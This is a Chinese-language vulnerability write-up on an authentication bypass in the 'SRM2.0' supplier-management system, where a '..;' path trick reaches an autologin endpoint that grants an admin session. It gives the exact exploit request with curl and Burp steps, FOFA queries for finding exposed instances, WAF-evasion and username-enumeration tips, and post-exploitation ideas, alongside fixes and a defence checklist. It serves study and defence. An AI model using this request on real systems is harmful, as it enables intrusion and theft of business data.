1. 项目概述:一次典型的逻辑缺陷挖掘
最近在梳理一些供应链管理系统的安全状况,发现“智联云采SRM2.0”这个系统在安全圈里被反复提及,核心问题都指向一个名为autologin的接口。这个漏洞的典型性在于,它并非复杂的缓冲区溢出或SQL注入,而是一个纯粹的逻辑设计缺陷。攻击者无需破解密码,也无需利用复杂的编码问题,仅仅通过一个精心构造的、看似无害的HTTP请求,就能直接以最高权限(通常是admin)身份登录系统后台。这种漏洞的危害性极高,因为它绕过了整个身份认证体系,让登录门户形同虚设。对于企业而言,这意味着供应商信息、采购订单、合同报价等核心商业数据完全暴露。今天,我就从一个安全研究者的角度,带大家完整地复现和分析这个漏洞,并深入探讨其背后的成因、利用手法以及防御思路。无论你是安全工程师、渗透测试人员,还是负责系统开发的程序员,理解这类漏洞都能帮助你更好地构建和守护自己的应用。
2. 漏洞核心原理与背景剖析
2.1 SRM系统与身份认证的重要性
SRM,即供应商关系管理系统,是现代企业供应链管理的核心软件。它负责管理从供应商寻源、资质审核、招投标、合同签订到绩效评估的全生命周期。系统中存储的数据极其敏感,包括但不限于供应商的银行账户、联系方式、产品底价、历史交易记录以及企业内部的组织架构和审批流程。因此,SRM系统的身份认证与访问控制机制是其安全架构的第一道,也是最重要的一道防线。一旦这道防线被突破,攻击者获取的不仅是数据,更可能直接篡改采购流程、伪造订单,给企业带来直接的经济损失和信誉风险。
2.2autologin接口的设计初衷与常见陷阱
autologin,顾名思义,是“自动登录”功能。其设计初衷通常是出于用户体验或系统集成的考虑。例如:
- 单点登录集成:从企业门户或OA系统跳转过来时,携带一个加密令牌,此接口负责验证令牌并自动创建本地会话。
- 密码重置链接:用户点击邮件中的重置密码链接后,系统自动验证链接有效性并引导用户至密码修改页面,期间可能短暂使用
autologin。 - 内部系统跳转:在不同模块间切换时,避免用户重复登录。
一个安全的autologin接口实现,必须包含以下几个关键要素:
- 强令牌验证:使用一次性、有时效性、不可预测的令牌(如JWT或服务端签名的临时令牌)。
- 绑定会话与设备:令牌应与初次生成的会话或客户端特征绑定。
- 严格的权限校验:即使自动登录,也应遵循最小权限原则,不应默认授予最高权限。
- 完备的日志记录:所有自动登录尝试,无论成功失败,都必须详细记录来源IP、目标用户、时间戳等信息。
而“智联云采SRM2.0”的漏洞,正是因为在实现上完全缺失了这些安全要素。
2.3 漏洞根源:路径标准化与参数解析的致命组合
根据公开的漏洞信息,问题的直接触发点是这样一个请求:GET /adpweb/static/..;/api/sys/app/autologin?loginName=admin
这里暴露了两个关键问题:
路径遍历符
..;的异常处理:/static/..;是一个奇怪的路径。在HTTP请求处理中,..通常表示上级目录,而;在某些容器或框架中可能被用作参数分隔符或路径截断。攻击者利用..;可能意图进行路径穿越,跳出/static/这个静态资源目录,去访问本应无法直接URL访问的/api/接口目录。更关键的是,后端在处理这个路径时,可能错误地进行了“标准化”,将/adpweb/static/..;/api/...错误地解析成了/adpweb/api/...,从而让本应被静态文件处理器拦截的请求,流入了动态的API控制器。loginName参数的无校验信任:接口接收到请求后,直接获取了loginName参数的值(此处为admin),并未验证该请求是否携带任何有效的身份凭证(如Session Cookie、Token)。它武断地认为:“既然你能调用这个接口,那你就是合法的”,或者更糟糕的是,它内部有一个硬编码的、默认的信任逻辑。代码逻辑可能简化如下:// 漏洞代码示例(推测) @RequestMapping("/autologin") public String autoLogin(String loginName, HttpServletRequest request) { // 致命缺陷:没有检查任何令牌或签名! User user = userService.findByLoginName(loginName); if (user != null) { // 直接为用户创建登录会话 request.getSession().setAttribute("currentUser", user); return "redirect:/admin/index"; } return "error"; }这种代码完全放弃了“验证”这一安全基本步骤,将系统的控制权交给了客户端传来的一个普通参数。
组合起来,漏洞利用链就是:利用路径解析缺陷,访问到本应隐藏或受控的autologin接口 -> 向该接口传递一个高权限用户名(如admin)-> 接口无条件信任该参数并为该用户创建会话 -> 攻击者获得系统最高权限。
3. 漏洞复现环境搭建与实操
3.1 环境准备与目标识别
由于直接测试真实系统是非法且不道德的,我们必须在一个合法的、受控的环境中进行复现研究。
方案一:使用公开漏洞靶场(推荐)一些网络安全学习平台或开源项目会集成历史漏洞的Docker镜像。你可以搜索类似vulhub、vulfocus这样的项目,看是否包含了“智联云采SRM2.0”的漏洞环境。使用Docker可以快速搭建一个与原始漏洞环境高度相似的隔离系统。
# 假设存在这样的靶场(此处为示例,需根据实际找到的靶场调整命令) git clone https://github.com/vulhub/vulhub.git cd vulhub/zhilian-srm2.0-autologin docker-compose up -d # 启动后,访问 http://your-ip:8080 即可看到系统界面方案二:代码审计与模拟(高阶)如果你能获得该系统的早期版本代码(例如通过某些开源仓库或历史版本),可以在本地IDE中直接进行代码审计,定位autologin相关的控制器代码。同时,可以搭建一个简单的Spring Boot或类似框架的Web应用,模拟漏洞接口的行为,用于理解漏洞触发过程。
目标识别(网络空间测绘)在授权测试中,你可能需要定位使用了该系统的资产。如漏洞信息所示,可以使用网络空间测绘引擎(如Fofa、Shodan、ZoomEye)进行搜索。
- Fofa语法:
title=="SRM 2.0"或body="智联云采"。这能帮助你快速找到在公网开放且使用了该系统模板的站点。
重要提示:所有复现操作必须在自己搭建的本地靶场或获得明确书面授权的目标上进行。未经授权对任何系统进行测试均属违法行为。
3.2 漏洞利用步骤详解
假设我们已经搭建好本地靶场,地址为http://192.168.1.100:8080。
第一步:常规访问确认首先,正常访问系统登录页,确认其运行正常。
http://192.168.1.100:8080/adpweb/login.html你会看到一个标准的用户名/密码登录界面。尝试使用错误密码登录,会提示失败。这说明常规认证流程是存在的。
第二步:构造漏洞利用请求这是最核心的一步。我们直接向漏洞接口发送请求。 使用你喜欢的工具,如cURL、Burp Suite、Postman或浏览器地址栏直接输入。
使用 cURL 命令:
curl -v "http://192.168.1.100:8080/adpweb/static/..;/api/sys/app/autologin?loginName=admin"-v参数用于显示详细请求和响应头,这对于观察会话Cookie(如JSESSIONID)是否被设置至关重要。
使用 Burp Suite:
- 打开Burp,配置浏览器代理。
- 在浏览器中随便访问一下目标网站,让请求经过Burp。
- 在Burp的Proxy -> HTTP history中找到一条对目标站的请求,右键选择
Send to Repeater。 - 在Repeater标签页中,将请求方法改为
GET,路径修改为/adpweb/static/..;/api/sys/app/autologin?loginName=admin。 - 点击
Send发送请求。
第三步:分析响应结果成功的漏洞利用通常会返回以下一种或几种迹象:
- HTTP 302 重定向:响应状态码为
302 Found,并且Location响应头指向后台主页面,例如Location: /adpweb/admin/index.html。这明确表示服务器已经为你创建了会话并试图跳转。 - 设置会话Cookie:在响应头中,你会看到
Set-Cookie: JSESSIONID=xxxxxx这样的字段。这个JSESSIONID就是你的“通行证”。 - 直接返回后台页面HTML:有些实现可能直接返回了后台管理页面的HTML内容。
第四步:验证登录状态如果响应中设置了Cookie,最关键的一步是验证这个Cookie是否有效。
- 方法A(浏览器):在浏览器开发者工具(F12)的Console中,执行
document.cookie = "JSESSIONID=xxxxxx";手动设置Cookie,然后刷新页面或直接访问后台地址(如http://192.168.1.100:8080/adpweb/admin/index.html)。如果成功进入后台,漏洞利用完成。 - 方法B(Burp Suite):在Repeater中,将上一步响应中获取的
JSESSIONID值,添加到新请求的Cookie头中,然后直接访问后台的一个API或页面,查看是否返回授权后的数据。
3.3 实操中的关键技巧与注意事项
loginName的枚举:不要只尝试admin。可以尝试其他常见管理员账号,如administrator、superadmin、sysadmin,或者通过信息泄露接口获取到的真实用户名。有时,该参数甚至可能直接接受用户ID。- 路径变形:
..;可能不是唯一的路径穿越方式。可以尝试..%2f(/的URL编码)、..\(Windows路径)、....//等,以应对不同的服务器路径解析逻辑。 - 端口与上下文路径:注意目标系统的访问端口和部署的上下文路径。如果系统部署在根路径下,可能没有
/adpweb这个前缀。需要根据实际情况调整。 - HTTPS:如果目标使用HTTPS,请确保你的请求工具支持,并将URL协议改为
https://。 - 工具代理设置:确保你的测试工具(如Burp)的代理设置正确,能够捕获和重发HTTPS流量(需要安装Burp的CA证书)。
4. 漏洞深度分析与拓展利用
4.1 代码层面深度解析
让我们更深入地推测一下后端可能的问题代码。漏洞往往出现在过滤器(Filter)或拦截器(Interceptor)链的配置上。
场景A:静态资源过滤器配置错误Spring Boot或类似框架中,通常会配置一个过滤器将/static/**的请求交给静态资源处理器,而不经过安全过滤器链。
@Configuration public class WebConfig implements WebMvcConfigurer { @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/static/**") .addResourceLocations("classpath:/static/"); } }而安全配置可能排除了/api/**的某些接口,或者autologin接口本身被错误地配置为无需认证。
@Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/api/sys/app/autologin").permitAll() // 危险配置! .antMatchers("/static/**").permitAll() .anyRequest().authenticated(); } }当请求/adpweb/static/..;/api/sys/app/autologin到来时,容器(如Tomcat)的getPathInfo()或getServletPath()在处理..;时可能发生歧义,导致请求最终匹配到了/api/sys/app/autologin这个模式,从而绕过了针对/static/**的静态资源处理逻辑,却又因为安全配置的permitAll()而直接进入了漏洞接口。
场景B:接口方法自身的逻辑缺陷这是更直接的原因。autologin接口的方法体内,完全没有进行任何形式的认证。
@RestController @RequestMapping("/api/sys/app") public class AppController { @Autowired private UserService userService; @GetMapping("/autologin") public ResponseEntity<?> autoLogin(@RequestParam String loginName, HttpSession session) { // 缺失:令牌验证、来源IP校验、请求签名验证等 User user = userService.findUserByLoginName(loginName); if (user == null) { return ResponseEntity.badRequest().body("用户不存在"); } // 直接建立会话 session.setAttribute("CURRENT_USER", user); // 可能还记录了登录日志,但操作人却是空的或来自这个未认证的请求 logService.saveLoginLog(user.getId(), getClientIp(), "自动登录"); return ResponseEntity.ok().body(Map.of("redirectUrl", "/main")); } // 一个可能存在的、更危险的后门:默认管理员 @GetMapping("/autologin") public ResponseEntity<?> autoLogin(@RequestParam(required = false) String loginName, HttpSession session) { String name = (loginName != null) ? loginName : "admin"; // 默认值! User user = userService.findUserByLoginName(name); // ... 同上,建立会话 } }4.2 漏洞利用的潜在拓展
一个简单的认证绕过漏洞,在攻击者手中可以衍生出多种利用方式:
- 信息泄露:首先利用该漏洞登录后台,然后遍历系统功能,下载所有供应商列表、联系人信息、历史订单数据等。
- 权限维持:创建新的管理员账号或修改现有账号密码,为后续长期控制留下后门。
- 业务操作:伪造采购申请、审批流程,甚至发起一笔虚假的付款指令,如果与财务系统有弱关联,可能造成直接资金损失。
- 横向移动:如果SRM系统与其他内部系统(如OA、ERP)有单点登录或信任关系,获取到的会话或令牌可能用于攻击其他更核心的系统。
- 漏洞组合:结合系统中可能存在的其他漏洞,如文件上传、SQL注入等,实现从Web到服务器的完全控制。
4.3 修复方案与安全开发建议
对于开发者和运维人员,修复和预防此类漏洞至关重要。
立即修复措施:
- 禁用或删除漏洞接口:在生产环境中,立即检查并禁用或删除
autologin接口,除非其业务绝对必需。 - 增加强令牌验证:如果
autologin功能必须保留,必须引入强验证机制。- 使用时间戳+签名:服务端生成一个包含用户名、过期时间和随机数的字符串,用密钥进行HMAC-SHA256签名,将原始字符串和签名作为令牌传给客户端。客户端回传时,服务端重新计算签名并验证。
- 使用JWT:生成一个有过期时间的JWT令牌,并验证其签名。
- 修复路径解析问题:在Web应用防火墙(WAF)或应用层,对请求URL进行严格的规范化(Canonicalization)和过滤,拒绝包含
..;、..%2f等可疑序列的请求。 - 增加多层校验:
- 来源校验:限制
autologin接口只能被特定的、受信任的IP或内部网络调用。 - Referer校验:检查请求是否来自预期的前序页面(但Referer可被伪造,仅作为辅助手段)。
- 用户状态校验:即使自动登录,也应检查目标用户账号是否被禁用、锁定。
- 来源校验:限制
长期安全开发建议:
- 默认拒绝原则:所有接口默认都应要求认证。对于无需认证的接口(如登录、公开API),必须在安全配置中显式声明,并定期审计。
- 最小权限原则:
autologin接口即使成功,也不应直接赋予最高权限。应根据业务场景,赋予一个临时的、受限的令牌,仅用于完成特定操作(如重置密码)。 - 输入永远不可信:对所有客户端传入的参数,包括URL路径、查询参数、请求头,都必须进行严格的验证、过滤和规范化。
- 全面的日志审计:记录所有敏感操作的详细信息,包括操作时间、IP地址、用户标识(即使是未认证的请求也要记录其尝试的用户名)、操作类型和结果。这些日志是事后追溯和攻击检测的关键。
- 定期安全测试与代码审计:将安全测试纳入开发流程,定期进行白盒代码审计和黑盒渗透测试,重点关注认证、授权、会话管理和输入验证相关的代码。
5. 常见问题排查与防御加固实录
在实际的渗透测试或安全运维中,你可能会遇到各种情况。下面是一个常见问题与解决思路的速查表。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 发送POC请求后返回404 | 1. 路径不正确。 2. 目标系统版本已修复或不同。 3. 接口已被移除或禁用。 | 1. 使用目录扫描工具(如Dirsearch, Gobuster)重新探测/api/、/adpweb/等路径。2. 尝试其他已知的SRM系统漏洞路径。 3. 检查响应体,看是否有框架错误信息泄露。 |
| 返回302但跳转到登录页 | 1.loginName参数值不对,用户不存在。2. 接口被调用,但后续的会话创建或跳转逻辑失败。 3. 存在WAF或安全设备拦截。 | 1. 枚举常见用户名或尝试获取用户名清单。 2. 检查响应头中的 Set-Cookie,如果设置了,尝试用该Cookie直接访问后台其他接口。3. 尝试修改请求方法(POST)、添加无关参数、更改User-Agent头,绕过简单的WAF规则。 |
| 返回200但内容是错误JSON或文本 | 接口逻辑被执行,但业务层返回了错误。 | 仔细阅读响应体,可能包含“用户不存在”、“令牌错误”、“IP不允许”等关键信息,根据提示调整攻击载荷。 |
| 请求被长时间挂起或重置 | 可能触发了防护设备的慢速攻击防护或连接重置规则。 | 尝试降低请求频率,或使用不同的网络出口IP进行测试。 |
| 漏洞复现成功,但后台功能受限 | 自动登录创建的会话权限可能不是最高权限。 | 登录后,仔细查看菜单和功能,尝试访问核心数据模块。同时,检查是否有修改自身权限或创建用户的入口。 |
防御加固 checklist:对于系统管理员和安全运维人员,在收到此类漏洞预警后,应立即执行以下检查:
- [ ]紧急处置:在防火墙或WAF上临时添加规则,拦截包含
..;和autologin关键词的请求路径。 - [ ]版本确认:联系厂商确认当前使用的“智联云采SRM2.0”具体版本,并询问该版本是否受此漏洞影响及官方补丁。
- [ ]日志分析:紧急检索应用日志和访问日志,搜索历史上是否有对
/autologin接口的异常访问记录,特别是来自非信任IP的、且loginName参数为管理员账号的请求。 - [ ]权限复核:检查当前系统中所有管理员账号的登录记录和操作日志,确认是否有异常登录或数据访问行为。
- [ ]补丁更新:在测试环境验证官方补丁后,尽快安排生产环境的更新。如果无官方补丁,需评估自行修复(如通过过滤器全局拦截)或系统替换的方案。
- [ ]架构审视:以此漏洞为鉴,全面审查系统中是否还存在其他类似的“隐藏接口”、“调试接口”或逻辑简单的认证绕过点。
这个漏洞本身的技术难度并不高,但它像一面镜子,清晰地映照出在追求功能便捷性时对安全基础的忽视。在开发中,任何一个看似“内部使用”、“简化流程”的接口,都可能成为攻击者通往核心数据的捷径。